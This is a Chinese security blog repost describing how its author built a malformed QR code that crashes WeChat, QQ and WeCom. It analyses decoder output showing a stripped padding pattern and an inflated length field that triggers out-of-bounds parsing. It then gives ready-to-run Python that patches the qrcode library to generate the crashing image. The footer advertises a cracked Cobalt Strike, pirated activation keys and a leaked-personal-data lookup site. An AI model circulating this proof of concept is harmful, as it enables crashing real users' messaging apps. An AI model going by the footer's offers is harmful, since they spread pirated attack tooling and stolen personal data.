查看原文
其他

【复现成功】成功构造poc让微信崩溃了!

刨洞之眼 2023-08-14

The following article is from 刨洞技术交流 Author 刨洞技术交流

感觉主要出锅的地方在:

[0100] [00000001] []
Mode Indicator : 8-bit Mode (0100)
Character Count Indicator : 1
Decoded data :

因为队友说似乎是 null deref,直接遍历解码到后期的时候发现了以下的问题,填充和 RS 在这样的扫描下直接被吃掉了:

{value: '00000001'type'Char. count indicator', decoded: 1, modules: Array(8)}
{value: '10011111'type'Message data', decoded: '\x9F', modules: Array(8)}
{value: '0000'type'Mode indicator', decoded: 'Terminator', modules: Array(4)}
{value: '0010'type'Mode indicator', decoded: 'Alphanumeric mode', modules: Array(4)}
{value: '100111001'type'Char. count indicator', decoded: 313, modules: Array(9)}
{value: '01100111100'type'Message data', decoded: 'II', modules: Array(11)}
{value: '01100010011'type'Message data', decoded: 'HM', modules: Array(11)}
{value: '10100001110'type'Message data', decoded: 'SY', modules: Array(11)}
{value: '00110010000'type'Message data', decoded: '8+', modules: Array(11)}
{value: '01110011111'type'Message data', decoded: 'KR', modules: Array(11)}
{value: '01101010111'type'Message data', decoded: 'J0', modules: Array(11)}
{value: '01110100010'type'Message data', decoded: 'KU', modules: Array(11)}
{value: '10000011011'type'Message data', decoded: 'NG', modules: Array(11)}
{value: '11101010111'type'Message data', decoded: '-Y', modules: Array(11)}
{value: '1101'type'Message data', decoded: '0D', modules: Array(4)}
{value: ''type'Message data', decoded: NaN, modules: Array(0)}
{value: ''type'Message data', decoded: NaN, modules: Array(0)}

提取出的数据来看,在到达最后一个 8-bit Mode 后是一个不可见字符 \x9f 和正常的终止符号,但在之后本应该是 padding1110110011101100 却不见了踪迹,后续的 block 恰好被解析为了 Alphanumeric mode,长度块标准为 9 bit,并且读取出其长度为 313,导致后续的数据被解析为了奇怪的内容,并且直接开始越界解析。

但是尝试复现并未成功构造一个可以被微信复现的二维码,并且 qrazybox 也被这样的长度标识欺骗了,但是在上面的例子里并没有,似乎整个问题比想象的复杂:

Final data bits :
00101111111110000101110100010001010001110011000010100000111011000001000111101100000100011110110000010001111011000001000111101100
[0010] [111111111] [0000101110100010001010001110011000010100000111011000001000111101100000100011110110000010001111011000001000111101100]
Mode Indicator : Alphanumeric Mode (0010)
Character Count Indicator : 511
Decoded data : 2333AA76%J5L1QVFA.380Cundefinedundefinedundefinedundefinedundefined……
Final Decoded string : 2333AA76%J5L1QVFA.380C

忽略了一个核心问题,这个二维码的数据区已经被完全填满(224 bit),解码器可能会因为遇到 padding pattern 而提前 break,打算再去构造一下。

构造成功了,成功让微信崩溃了!几个要点:

  1. 数据需要绝对无填充,不可以出现 padding pattern
  2. 最后一个 block 的记录长度要尽可能的长,与什么模式无关

附上复现用的代码:

pip install qrcode
import qrcode
from qrcode.util import *

def hack_put(self, num, length):
    if num == 0:
        num = 233
    for i in range(length):
        self.put_bit(((num >> (length - i - 1)) & 1) == 1)

qrcode.util.BitBuffer.put = hack_put

qr = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0)

num_data = QRData('1145141', MODE_NUMBER)
data = QRData(b'.', MODE_8BIT_BYTE)
hack_data = QRData(b'', MODE_8BIT_BYTE)

qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(hack_data)

qr.make_image().show()

会直接生成一张图片


简单猜测:只有arm平台会触发

https://wuli.wiki/online/BLAS.html  blas库的说明

目前暂时只发现腾讯系产品受影响,企业微信,QQ,微信等..


关注公众号后台回复 0001 领取域渗透思维导图,0002 领取VMware 17永久激活码,0003 获取SGK地址,0004 获取在线ChatGPT地址,0005 获取 Windows10渗透集成环境,0006 获取 CobaltStrike 4.8破解版


加我微信好友,邀请你进交流群





往期推荐



对某金融App的加解密hook+rpc+绕过SSLPinning抓包

疑似境外黑客组织对CSDN、吾爱破解、bilibili等网站发起DDoS攻击

Fofa新产品 - 绕CDN溯源真实IP!

Cobalt Strike 4.8 正式发布上线!

团队在线Windows进程识别正式内测

突发!微信疑似存在RCE


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存